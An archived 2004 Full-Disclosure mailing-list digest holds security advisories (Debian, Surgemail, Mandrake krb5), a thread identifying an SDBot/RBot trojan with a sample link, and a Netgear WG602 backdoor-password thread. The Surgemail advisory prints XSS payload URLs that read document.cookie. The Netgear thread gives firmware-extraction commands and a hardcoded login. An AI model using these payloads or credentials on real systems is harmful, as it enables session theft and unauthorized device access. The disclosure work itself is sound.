      Size/MD5 checksum:    38750 1ac164fad7f976532b264a9ff5ea4ced

  Intel IA-64 architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_ia64.deb
      Size/MD5 checksum:    49242 5704ea6ac083a7f7800b2ac2df8d31db

  HP Precision architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_hppa.deb
      Size/MD5 checksum:    44726 9946fba7d6e7d1590073413e282e5aa0

  Motorola 680x0 architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_m68k.deb
      Size/MD5 checksum:    38700 e6ca7eefcb0adca40309075c14970877

  Big endian MIPS architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_mips.deb
      Size/MD5 checksum:    48576 a2a96b0be1b4a8bc83a17db7fa2a51a1

  Little endian MIPS architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_mipsel.deb
      Size/MD5 checksum:    47872 bcff2fb39c25c51270e0330fdafa5b87

  PowerPC architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_powerpc.deb
      Size/MD5 checksum:    37056 2b8f844e4abf80505823c24dd1f0a7d8

  IBM S/390 architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_s390.deb
      Size/MD5 checksum:    37280 86d660937516c317493412ba005ea2fb

  Sun Sparc architecture:

    http://security.debian.org/pool/updates/main/l/log2mail/log2mail_0.2.5.2_sparc.deb
      Size/MD5 checksum:    34914 8ba63250986eb25923bcf1229f18bfe7

  These files will probably be moved into the stable distribution on
  its next revision.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAv2lzArxCt0PiXR4RAnQAAJ0RtKmWRNOvzIM5lYCPvGpUzPt4HwCfbk/r
hTSjw5TcWHIxSatXTd87KjU=
=lhiB
-----END PGP SIGNATURE-----



From skip at duckwall.net  Thu Jun  3 19:22:37 2004
From: skip at duckwall.net (Skip Duckwall)
Date: Thu, 3 Jun 2004 13:22:37 -0500 (CDT)
Subject: [Full-Disclosure] Strange TCP/IP DNS traffic
In-Reply-To: <40BF372A.2040505@sun.consumer.org.il>
References: <40BF372A.2040505@sun.consumer.org.il>
Message-ID: <Pine.LNX.4.53.0406031316500.4020@mail.duckwall.net>


On Thu, 3 Jun 2004, Shachar Shemesh wrote:

> Hi all,
>
> A few days ago I started seeing outbound TCP connection on port 53,
> aimed at the .com NS servers. These were blocked by the firewall. I
> realize that this does not violate any RFC, but it's still unusual.

TCP is used for DNS when the size of the UDP response exceeds 512 bytes.
When this happens, the UDP response sets a truncated flag which tells the
resolver to connect via TCP to get the whole thing.  The only time I've
seen this behavior in the last few years has been when sending mail to
large ISP/businesses when the results of a MX record query exceed 512
bytes. So blocking it outbound might result in E-mail not going through.

>
> The outbound traffic is not generated by the local bind installation,
> which was asked to bind to port 53 for outbound traffic. Also,
> /etc/resolv.conf lists 127.0.0.1 as the nameserver, so as far as I
> understand such traffic should not be initiated by user programs.
>

This just tells the machine that it should use localhost for name
resolution.  Unless you have the world's biggest /etc/hosts file, you are
probably running some sort of name server (bind/named for example)


Alva Lease 'Skip' Duckwall IV
skip at duckwall dot net
CISSP, RHCE, SCSA




From jlevitsk at joshie.com  Thu Jun  3 20:22:31 2004
From: jlevitsk at joshie.com (Joshua Levitsky)
Date: Thu, 3 Jun 2004 15:22:31 -0400
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
References: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
Message-ID: <5C1469BE-B593-11D8-9685-000A958E4F56@joshie.com>

On Jun 3, 2004, at 1:54 PM, Perrymon, Josh L. wrote:

> I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
> Doesn't look like it propagates to other machines but rather  
> communicates
> with a compromised
> web companies server using IRC. The compromised server has removed the  
> IRC
> service. Only sends RST packets back.
>
> I put it on my site.
>
> http://www.packetfocus.com/analysis.htm
>
> I would like to know the attack vectors. I'm guessing LSASS.
>

It's a variant of W32.Spybot.Worm aparently. Symantec AntiVirus Defs as  
of 6/3/04 Rev 36 (just created) detect it.

ftp://ftp.symantec.com/public/english_us_canada/antivirus_definitions/ 
norton_antivirus/rapidrelease/symcrapidreleasedefsi32.exe


-Josh



From keydet89 at yahoo.com  Thu Jun  3 20:24:36 2004
From: keydet89 at yahoo.com (Harlan Carvey)
Date: Thu, 3 Jun 2004 12:24:36 -0700 (PDT)
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
Message-ID: <20040603192436.87405.qmail@web51501.mail.yahoo.com>

Josh, 

I tried to download the archive, and McAfee alerted me
to "W32/Sdbot.worm.gen.g".

From:
http://www.sophos.com/virusinfo/analyses/w32sdbotcf.html

"W32/SdBot-CF spreads to other computers on the local
network protected by weak passwords."

> I found this worm/ trojan on a laptop. Ran FPort and
> found the .exe.

I checked out your web site...don't you think that the
information you found via fport would be useful to
others, such as the port, etc?

> Doesn't look like it propagates to other machines
> but rather communicates
> with a compromised 
> web companies server using IRC. The compromised
> server has removed the IRC
> service. Only sends RST packets back.
> 
> I put it on my site.
> 
> http://www.packetfocus.com/analysis.htm
> 
> I would like to know the attack vectors. I'm
> guessing LSASS.



From keydet89 at yahoo.com  Thu Jun  3 20:26:14 2004
From: keydet89 at yahoo.com (Harlan Carvey)
Date: Thu, 3 Jun 2004 12:26:14 -0700 (PDT)
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
Message-ID: <20040603192614.82582.qmail@web51510.mail.yahoo.com>

Josh,

> I would like to know the attack vectors. I'm
> guessing LSASS.

If you don't know what the worm is, what would lead
you to guess that the infection vector is LSASS?  Is
there some other piece of information that you're not sharing?



From insecure at ameritech.net  Thu Jun  3 20:27:03 2004
From: insecure at ameritech.net (insecure)
Date: Thu, 03 Jun 2004 14:27:03 -0500
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
References: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
Message-ID: <40BF7B87.2020200@ameritech.net>

Perrymon, Josh L. wrote:

>I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
>Doesn't look like it propagates to other machines but rather communicates
>with a compromised 
>web companies server using IRC. The compromised server has removed the IRC
>service. Only sends RST packets back.
>
>I put it on my site.
>
>http://www.packetfocus.com/analysis.htm
>
>I would like to know the attack vectors. I'm guessing LSASS.
>
>Joshua Perrymon
>PGP Fingerprint
>51B8 01AC E58B 9BFE D57D  8EF6 C0B2 DECF EC20 6021
>
>  
>
McAfee VirusScan 7.1 with 4364 DAT detects it as W32/Sdbot.worm.gen.g. 
Other than that, they have no information besides that they first 
noticed it on 5/26/2004.

It may spread through lsass, but this type of worm is usually limited to 
spreading through network shares with weak password protection.

Jerry



From PerrymonJ at bek.com  Thu Jun  3 20:40:45 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Thu, 3 Jun 2004 14:40:45 -0500 
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A02353291@is6b>

I was guessing about LSASS because that was the only patch not on the box
that was infected.
The user also had a pass with a couple #'s in it so I didn't think it would
be found in a password list.

After watching it in a while I *Never saw it try to propagate to another
machine. That's what was weird.
So how would be get it the first time? 
I had to infect him some way...  But there where no other traces of it on
the network...

If I have some time I'll post the FPort data and some clean packet captures.

JP



-----Original Message-----
From: insecure [mailto:insecure at ameritech.net]
Sent: Thursday, June 03, 2004 2:27 PM
To: Perrymon, Josh L.
Cc: full-disclosure at netsys.com
Subject: Re: [Full-Disclosure] anyone seen this worm/trojan before?


Perrymon, Josh L. wrote:

>I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
>Doesn't look like it propagates to other machines but rather communicates
>with a compromised 
>web companies server using IRC. The compromised server has removed the IRC
>service. Only sends RST packets back.
>
>I put it on my site.
>
>http://www.packetfocus.com/analysis.htm
>
>I would like to know the attack vectors. I'm guessing LSASS.
>
>Joshua Perrymon
>PGP Fingerprint
>51B8 01AC E58B 9BFE D57D  8EF6 C0B2 DECF EC20 6021
>
>  
>
McAfee VirusScan 7.1 with 4364 DAT detects it as W32/Sdbot.worm.gen.g. 
Other than that, they have no information besides that they first 
noticed it on 5/26/2004.

It may spread through lsass, but this type of worm is usually limited to 
spreading through network shares with weak password protection.

Jerry



From se_cur_ity at hotmail.com  Thu Jun  3 20:39:25 2004
From: se_cur_ity at hotmail.com (morning_wood)
Date: Thu, 3 Jun 2004 12:39:25 -0700
Subject: [Full-Disclosure] Surgemail - Multiple Vulnerabilities
Message-ID: <BAY9-DAV28Dd3OJXsNQ000643a1@hotmail.com>

------------------------------------------------------------
   - EXPL-A-2004-002 exploitlabs.com Advisory 028 -
------------------------------------------------------------
                            - Surgemail -



OVERVIEW
========
"SurgeMail is a next generation Mail Server -
Combining features, performance and ease of
use into a single integrated product.
Ideal on Windows NT/2K, or Unix (Linux, Solaris etc)
 and supports all all the standard protocols
IMAP, POP3, SMTP, SSL, ESMTP."

Surgmail suffers from two basic remote vulnerabilities...

1. Information Disclosure, by providing a non existant filename, the STDERR
is rendered to the user, disclosing physical directory structure.

2. XSS ( cross site scripting ) via the login form, and in particular
the "username" field. This allows for credential theft via externaly
hosted malicous script. This affects both HTTP and HTTPS access vectors.



AFFECTED PRODUCTS
=================
Surgemail ( Win32 and *nix through versions 1.9 )

WebMail v3.1d Copyright ? NetWin Ltd

http://netwinsite.com/index.html
http://netwinsite.com/overviews.htm
http://netwinsite.com/server/email_server_software.htm


DETAILS
=======
1. Information Disclosure
Surge mail's web based interface reveals physical
directory structure by requesting a non-existant
(404) request.


http://x.x.x.x/[non-existant request]

http://x.x.x.x:7080/scripts/
"Could not create process D:\surgemail/scripts/ Access Denied
Is the url correct, check for a log file in the scripts directory
 and run the process in a shell window (D:\surgemail)"

http://x.x.x.x:7080/scripts/err.txt
"Could not create process D:\surgemail/scripts/err.txt File Not Found
Is the url correct, check for a log file in the scripts directory
 and run the process in a shell window (D:\surgemail)"

http://x.x.x.x/scripts/err.txt
CGI did not respond correctly, it probably exited abnormally or the file
may not exist or have +x access (/usr/local/surgemail/scripts) (err.txt) ()



2. XSS ( cross site scripting )

 The login form username field is vunerable to XSS

================ snip ========================

http://x.x.x.x:7080/
http://x.x.x.x:7080/<script>alert('Vulnerable')</script>
http://x.x.x.x:7080/<script>alert(document.cookie)</script>

================ snip ========================



SOLUTION
========
Vendor contacted May 16, 2003 support-surgemail at netwinsite.com
Vendor acknowlegement recieved May 17, 2003

Vendor Patch / Version 2.0c released June 2, 2004
and may be obtained at
ftp://ftp.netwinsite.com/pub/surgemail/beta
http://www.netwinsite.com/surgemail/help/updates.htm


PROOF OF CONCEPT
================
( see DETAILS )


CREDITS
=======
This vulnerability was discovered and researched by

Donnie Werner of exploitlabs
mail: morning_wood at exploitlabs.com
--
web: http://exploitlabs.com
web: http://zone-h.org

ref: http://zone-h.org/en/advisories/read/id=4714/
ref: http://exploitlabs.com/files/advisories/EXPL-A-2004-002-surgmail.txt



From PerrymonJ at bek.com  Thu Jun  3 20:45:11 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Thu, 3 Jun 2004 14:45:11 -0500 
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A02353292@is6b>

I read the link below and noticed that this worm must be a variant because
the .exe is not the same and I don't notice and means of network scanning of
propagation.


JP

-----Original Message-----
From: Harlan Carvey [mailto:keydet89 at yahoo.com]
Sent: Thursday, June 03, 2004 2:25 PM
To: full-disclosure at netsys.com
Cc: Perrymon, Josh L.
Subject: Re: [Full-Disclosure] anyone seen this worm/trojan before?


Josh, 

I tried to download the archive, and McAfee alerted me
to "W32/Sdbot.worm.gen.g".

From:
http://www.sophos.com/virusinfo/analyses/w32sdbotcf.html

"W32/SdBot-CF spreads to other computers on the local
network protected by weak passwords."

> I found this worm/ trojan on a laptop. Ran FPort and
> found the .exe.

I checked out your web site...don't you think that the
information you found via fport would be useful to
others, such as the port, etc?

> Doesn't look like it propagates to other machines
> but rather communicates
> with a compromised 
> web companies server using IRC. The compromised
> server has removed the IRC
> service. Only sends RST packets back.
> 
> I put it on my site.
> 
> http://www.packetfocus.com/analysis.htm
> 
> I would like to know the attack vectors. I'm
> guessing LSASS.



From etomcat at freemail.hu  Thu Jun  3 21:02:04 2004
From: etomcat at freemail.hu (Feher Tamas)
Date: Thu, 3 Jun 2004 22:02:04 +0200 (CEST)
Subject: [Full-Disclosure] Re: anyone seen this worm/trojan before?
Message-ID: <freemail.20040503220204.97943@fm9.freemail.hu>

Hello,

>http://www.packetfocus.com/analysis/wkssvrs.zip

Kaspersky AV says: "Backdoor.RBot.gen" malware

Virus description:
"http://uk.trendmicro-
europe.com/enterprise/security_info/ve_detail.php?
id=59366&VName=BKDR_RBOT.A"

Try the above URL with RBOT_n (n = B,C,D,E, etc.) ending for more 
variants.

The fact that it is identified as "something.GEN" means it is likely a new 
RBot variant, identified with antivirus heuristics.

Sincerely: Tamas Feher.



From PerrymonJ at bek.com  Thu Jun  3 21:02:31 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Thu, 3 Jun 2004 15:02:31 -0500 
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A02353295@is6b>

After thinking about it and discussing with a friend-

It makes sense that it doesn't try to propagate until it connects to an IRC
server.
That way you don't have a lot of machines hitting the compromised IRC server
after it has been taken down.

I'm working on setting up IRCD on my BSD box in my VMWARE lab and seeing
what it does.

I will also send the fport info.

I *did notice the same ports open as the korgo worm.

It also sends from sequential source ports to the IRC compromised host.

JP

-----Original Message-----
From: Perrymon, Josh L. 
Sent: Thursday, June 03, 2004 2:41 PM
To: 'insecure'; Perrymon, Josh L.
Cc: full-disclosure at netsys.com
Subject: RE: [Full-Disclosure] anyone seen this worm/trojan before?


I was guessing about LSASS because that was the only patch not on the box
that was infected.
The user also had a pass with a couple #'s in it so I didn't think it would
be found in a password list.

After watching it in a while I *Never saw it try to propagate to another
machine. That's what was weird.
So how would be get it the first time? 
I had to infect him some way...  But there where no other traces of it on
the network...

If I have some time I'll post the FPort data and some clean packet captures.

JP



-----Original Message-----
From: insecure [mailto:insecure at ameritech.net]
Sent: Thursday, June 03, 2004 2:27 PM
To: Perrymon, Josh L.
Cc: full-disclosure at netsys.com
Subject: Re: [Full-Disclosure] anyone seen this worm/trojan before?


Perrymon, Josh L. wrote:

>I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
>Doesn't look like it propagates to other machines but rather communicates
>with a compromised 
>web companies server using IRC. The compromised server has removed the IRC
>service. Only sends RST packets back.
>
>I put it on my site.
>
>http://www.packetfocus.com/analysis.htm
>
>I would like to know the attack vectors. I'm guessing LSASS.
>
>Joshua Perrymon
>PGP Fingerprint
>51B8 01AC E58B 9BFE D57D  8EF6 C0B2 DECF EC20 6021
>
>  
>
McAfee VirusScan 7.1 with 4364 DAT detects it as W32/Sdbot.worm.gen.g. 
Other than that, they have no information besides that they first 
noticed it on 5/26/2004.

It may spread through lsass, but this type of worm is usually limited to 
spreading through network shares with weak password protection.

Jerry



From lupe at lupe-christoph.de  Thu Jun  3 23:03:13 2004
From: lupe at lupe-christoph.de (Lupe Christoph)
Date: Fri, 4 Jun 2004 00:03:13 +0200
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch>
Message-ID: <20040603220313.GB2307@lupe-christoph.de>

On Thursday, 2004-06-03 at 19:35:22 +0200, Tom Knienieder wrote:

>         Possibly vulnerable (not verified)
>                 WG602 with other Firmware Versions
>                 WG602v2

The WG602v2 uses different firmware.

>         Download the WG602 Version 1.5.67 firmware from Netgear
>         ( http://kbserver.netgear.com/support_details.asp?dnldID=366 )
WG602v2 Firmware Version 2.0RC5:
http://kbserver.netgear.com/support_details.asp?dnldID=504

WG602v2 Repeater Firmware Version 3.2 RC6
http://kbserver.netgear.com/support_details.asp?dnldID=692

>         and run the following shell commands on a UNIX box:

>         $ dd if=wg602_1.5.67_firmware.img bs=1 skip=425716 > rd.img.gz
>         $ zcat rd.img.gz | strings | grep -A5 -B5 5777364

2.0RC5
dd if=apfirmware_2.0rc5.img bs=1 skip=111596 of=rd.img.bz2

3.2 RC6
unzip wg602_v2_apfirmware_3.2rc6.zip
dd if=apfirmware_3.2rc6.img bs=1 skip=112620 of=rd.img.bz2

In both cases this:
  bzcat rd.img.bz2 | strings | egrep 'Authorization|BASIC|super|5777364'
Returns some garbage, but nothing similar to your output. Also logging
in with super/5777364 does not work with my unit (unknown firmware
release - I forgot the password and have to reset the unit. But it's
getting a little late here.)

HTH,
Lupe Christoph
-- 
| lupe at lupe-christoph.de       |           http://www.lupe-christoph.de/ |
| "... putting a mail server on the Internet without filtering is like   |
| covering yourself with barbecue sauce and breaking into the Charity    |
| Home for Badgers with Rabies.                            Michael Lucas |



From api at epost.de  Thu Jun  3 23:08:23 2004
From: api at epost.de (Axel Pettinger)
Date: Fri, 04 Jun 2004 00:08:23 +0200
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
References: <5E1F351F4AE1D611A7FE00B0D0AB064A0235328C@is6b>
Message-ID: <40BFA157.74EA20E1@epost.de>

"Perrymon, Josh L." wrote:
> 
> I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
> Doesn't look like it propagates to other machines but rather communicates
> with a compromised
> web companies server using IRC. The compromised server has removed the IRC
> service. Only sends RST packets back.
> 
<snip>
> I would like to know the attack vectors. I'm guessing LSASS.

AntiVirus scanners identify our trojan as:

BitDefender : Backdoor.SDBot.Gen
Kaspersky   : Backdoor.Rbot.gen
McAfee      : W32/Sdbot.worm.gen.g 
Symantec    : W32.Spybot.Worm 
Trend Micro : WORM_SPYBOT.AP

>From a quick look at the file I'd say the following is the best 
description of that trojan. There're several attack vectors ...

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_SPYBOT.AP&VSect=T

Regards,
Axel Pettinger



From security at linux-mandrake.com  Thu Jun  3 23:14:28 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 3 Jun 2004 22:14:28 -0000
Subject: [Full-Disclosure] MDKSA-2004:056 - Updated krb5 packages fix buffer overflow vulnerabilities
Message-ID: <20040603221428.15419.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           krb5
 Advisory ID:            MDKSA-2004:056
 Date:                   June 3rd, 2004

 Affected versions:	 10.0, 9.1, 9.2, Corporate Server 2.1,
			 Multi Network Firewall 8.2
 ______________________________________________________________________

 Problem Description:

 Multiple buffer overflows exist in the krb5_aname_to_localname()
 library function that if exploited could lead to unauthorized root
 privileges.  In order to exploit this flaw, an attacker must first
 successfully authenticate to a vulnerable service, which must be
 configured to enable the explicit mapping or rules-based mapping
 functionality of krb5_aname_to_localname, which is not a default
 configuration.
 
 Mandrakesoft encourages all users to upgrade to these patched krb5
 packages.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0523
  http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-001-an_to_ln.txt
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 3f69e19bae9dc3cb4ee59ca7d3be08ab  10.0/RPMS/ftp-client-krb5-1.3-6.1.100mdk.i586.rpm
 6a1a0859a8aab0c4d0658209cb1b7f5c  10.0/RPMS/ftp-server-krb5-1.3-6.1.100mdk.i586.rpm
 83159f49c7f5c143c5b7498153ec79e4  10.0/RPMS/krb5-server-1.3-6.1.100mdk.i586.rpm
 674d93d2240afb54f579920b69484b34  10.0/RPMS/krb5-workstation-1.3-6.1.100mdk.i586.rpm
 5e132ecbce927441c7be8e6004080535  10.0/RPMS/libkrb51-1.3-6.1.100mdk.i586.rpm
 957327bc8dbd9c7176ac875828e39816  10.0/RPMS/libkrb51-devel-1.3-6.1.100mdk.i586.rpm
 68890f7386b9d33d85f5c8ca0f527410  10.0/RPMS/telnet-client-krb5-1.3-6.1.100mdk.i586.rpm
 0b507f70e638c93fd0897ff4a0b56e61  10.0/RPMS/telnet-server-krb5-1.3-6.1.100mdk.i586.rpm
 990f44e1171410a8a4ff6f9b64a310c7  10.0/SRPMS/krb5-1.3-6.1.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 9c6e1a4aa3298fc26b743e89ba79fb50  amd64/10.0/RPMS/ftp-client-krb5-1.3-6.1.100mdk.amd64.rpm
 dd30b5dcc6d6eafb252bea319c47cd72  amd64/10.0/RPMS/ftp-server-krb5-1.3-6.1.100mdk.amd64.rpm
 be24d1822f4c56eb5d514eb7f4620e94  amd64/10.0/RPMS/krb5-server-1.3-6.1.100mdk.amd64.rpm
 3315cd08b90a42876cb3fe0df8de7bc1  amd64/10.0/RPMS/krb5-workstation-1.3-6.1.100mdk.amd64.rpm
 8003ae014ebe45ec26d332cec6a4e0d8  amd64/10.0/RPMS/lib64krb51-1.3-6.1.100mdk.amd64.rpm
 5f45277c5f4979864a14753208762e29  amd64/10.0/RPMS/lib64krb51-devel-1.3-6.1.100mdk.amd64.rpm
 3284ca83d423ad7cf00e9f6d7a6eb19f  amd64/10.0/RPMS/telnet-client-krb5-1.3-6.1.100mdk.amd64.rpm
 963ad02887f98e59894e913f872eb623  amd64/10.0/RPMS/telnet-server-krb5-1.3-6.1.100mdk.amd64.rpm
 990f44e1171410a8a4ff6f9b64a310c7  amd64/10.0/SRPMS/krb5-1.3-6.1.100mdk.src.rpm

 Corporate Server 2.1:
 28d17e73c658b4633dfb80dc5f9e79d0  corporate/2.1/RPMS/ftp-client-krb5-1.2.5-1.5.C21mdk.i586.rpm
 6d3252882a56eedcf4c1d65d5187da65  corporate/2.1/RPMS/ftp-server-krb5-1.2.5-1.5.C21mdk.i586.rpm
 392cf7a12b155a7e38a1fcbf57356453  corporate/2.1/RPMS/krb5-devel-1.2.5-1.5.C21mdk.i586.rpm
 4c208f2cc19e6ceb06e7748e3589c6ac  corporate/2.1/RPMS/krb5-libs-1.2.5-1.5.C21mdk.i586.rpm
 4f2574763f5cbc40b43e988016fa7ad5  corporate/2.1/RPMS/krb5-server-1.2.5-1.5.C21mdk.i586.rpm
 3c13190ff1dab8751b49d5c3c9588681  corporate/2.1/RPMS/krb5-workstation-1.2.5-1.5.C21mdk.i586.rpm
 0c048f9883ce94c1f677fcbfb61496dc  corporate/2.1/RPMS/telnet-client-krb5-1.2.5-1.5.C21mdk.i586.rpm
 0d44ecccb454ade87808de678b060834  corporate/2.1/RPMS/telnet-server-krb5-1.2.5-1.5.C21mdk.i586.rpm
 219e71f13c936d8d5f7cd14513dcb751  corporate/2.1/SRPMS/krb5-1.2.5-1.5.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 eab4f9bd5751049040cd9c9bd7492b08  x86_64/corporate/2.1/RPMS/ftp-client-krb5-1.2.5-1.5.C21mdk.x86_64.rpm
 a36e3184a7130674020db161a03dc705  x86_64/corporate/2.1/RPMS/ftp-server-krb5-1.2.5-1.5.C21mdk.x86_64.rpm
 22322929f255095b2d5f54d338ede660  x86_64/corporate/2.1/RPMS/krb5-devel-1.2.5-1.5.C21mdk.x86_64.rpm
 eb09e34102ea6a43b914dedbcd0da178  x86_64/corporate/2.1/RPMS/krb5-libs-1.2.5-1.5.C21mdk.x86_64.rpm
 783c614ed1dbbd2405c2e1a70703fc16  x86_64/corporate/2.1/RPMS/krb5-server-1.2.5-1.5.C21mdk.x86_64.rpm
 de5a5456f79f795787c6e54a04b6c098  x86_64/corporate/2.1/RPMS/krb5-workstation-1.2.5-1.5.C21mdk.x86_64.rpm
 c6b5b17261c7bffb8c5cdad1fc42d099  x86_64/corporate/2.1/RPMS/telnet-client-krb5-1.2.5-1.5.C21mdk.x86_64.rpm
 250efd6fd7498de490681f257414d312  x86_64/corporate/2.1/RPMS/telnet-server-krb5-1.2.5-1.5.C21mdk.x86_64.rpm
 219e71f13c936d8d5f7cd14513dcb751  x86_64/corporate/2.1/SRPMS/krb5-1.2.5-1.5.C21mdk.src.rpm

 Mandrakelinux 9.1:
 2ced4496f263fced47a1507a82c2cb1e  9.1/RPMS/ftp-client-krb5-1.2.7-1.2.91mdk.i586.rpm
 cab37c9cf0b43e7b6686d7d52246fb38  9.1/RPMS/ftp-server-krb5-1.2.7-1.2.91mdk.i586.rpm
 85f06e28d5866ca0019331f06128b9d9  9.1/RPMS/krb5-devel-1.2.7-1.2.91mdk.i586.rpm
 7e5fdb86010a2beaca1096d7f5c5a9ec  9.1/RPMS/krb5-libs-1.2.7-1.2.91mdk.i586.rpm
 a6262aca95a4dc7bfbea9b39cad4297e  9.1/RPMS/krb5-server-1.2.7-1.2.91mdk.i586.rpm
 fee32c38e1c94a2b3d951b9eb2c22dae  9.1/RPMS/krb5-workstation-1.2.7-1.2.91mdk.i586.rpm
 07bd644f73985078acae9e78b3efb570  9.1/RPMS/telnet-client-krb5-1.2.7-1.2.91mdk.i586.rpm
 0288aecc76e64a0756d4c7c040859f5e  9.1/RPMS/telnet-server-krb5-1.2.7-1.2.91mdk.i586.rpm
 c9cb232771f711d8dacb9a0247f0f446  9.1/SRPMS/krb5-1.2.7-1.2.91mdk.src.rpm

 Mandrakelinux 9.1/PPC:
 c15b924256dd15bb6251bbd476fd7b89  ppc/9.1/RPMS/ftp-client-krb5-1.2.7-1.2.91mdk.ppc.rpm
 0505bac3bc6cfc52d25313cd8ed74ef8  ppc/9.1/RPMS/ftp-server-krb5-1.2.7-1.2.91mdk.ppc.rpm
 803f513a08883b41aae1e25121a180fc  ppc/9.1/RPMS/krb5-devel-1.2.7-1.2.91mdk.ppc.rpm
 5eb8abff903c9421b4c0e2e5f0a11273  ppc/9.1/RPMS/krb5-libs-1.2.7-1.2.91mdk.ppc.rpm
 cd82456b41b41cc34b0f49c5062273e5  ppc/9.1/RPMS/krb5-server-1.2.7-1.2.91mdk.ppc.rpm
 085d8b51236fca2fda043f4d05ff91ea  ppc/9.1/RPMS/krb5-workstation-1.2.7-1.2.91mdk.ppc.rpm
 50bfa53e1d651b12e9c9896097eddbca  ppc/9.1/RPMS/telnet-client-krb5-1.2.7-1.2.91mdk.ppc.rpm
 dfa7947c5210d71e2337a31efb55783c  ppc/9.1/RPMS/telnet-server-krb5-1.2.7-1.2.91mdk.ppc.rpm
 c9cb232771f711d8dacb9a0247f0f446  ppc/9.1/SRPMS/krb5-1.2.7-1.2.91mdk.src.rpm

 Mandrakelinux 9.2:
 3c0064e8fcddb7d92c417d2de44832e6  9.2/RPMS/ftp-client-krb5-1.3-3.1.92mdk.i586.rpm
 e8a49c0e3083aa62c78a166e13ad8de7  9.2/RPMS/ftp-server-krb5-1.3-3.1.92mdk.i586.rpm
 684a31c9ad1b9cee39c354c24abd8c82  9.2/RPMS/krb5-server-1.3-3.1.92mdk.i586.rpm
 9e2df5a8153c7f98252ba9ac8f328747  9.2/RPMS/krb5-workstation-1.3-3.1.92mdk.i586.rpm
 36393ba65d19487fdddb561f3d410d34  9.2/RPMS/libkrb51-1.3-3.1.92mdk.i586.rpm
 3ea03174e1b8d5034bcda9cff28ce46c  9.2/RPMS/libkrb51-devel-1.3-3.1.92mdk.i586.rpm
 526f8a29e2f79646046f67f7e91de657  9.2/RPMS/telnet-client-krb5-1.3-3.1.92mdk.i586.rpm
 0ee4ff655a48b36a3caf6b4fc9e58e7b  9.2/RPMS/telnet-server-krb5-1.3-3.1.92mdk.i586.rpm
 97a04b5c44799791eb1574d72a77dd5a  9.2/SRPMS/krb5-1.3-3.1.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 dd21326a798dff0e4f18c98d1ee1b25b  amd64/9.2/RPMS/ftp-client-krb5-1.3-3.1.92mdk.amd64.rpm
 59e661a9d5e28a1662b4278b4099be3e  amd64/9.2/RPMS/ftp-server-krb5-1.3-3.1.92mdk.amd64.rpm
 e1882034fd1c6a6956c1c36f044bd50a  amd64/9.2/RPMS/krb5-server-1.3-3.1.92mdk.amd64.rpm
 cabea2b50a85c472ff5c252c4a3b65f5  amd64/9.2/RPMS/krb5-workstation-1.3-3.1.92mdk.amd64.rpm
 5ebc0da84930676585725ddebc21ace3  amd64/9.2/RPMS/lib64krb51-1.3-3.1.92mdk.amd64.rpm
 06f1e9bfe725e320666a51bd217b067b  amd64/9.2/RPMS/lib64krb51-devel-1.3-3.1.92mdk.amd64.rpm
 0c3c7637de54d9291c1886be3ac09ac1  amd64/9.2/RPMS/telnet-client-krb5-1.3-3.1.92mdk.amd64.rpm
 876cd2e1bc605b8379183a5a7d53334f  amd64/9.2/RPMS/telnet-server-krb5-1.3-3.1.92mdk.amd64.rpm
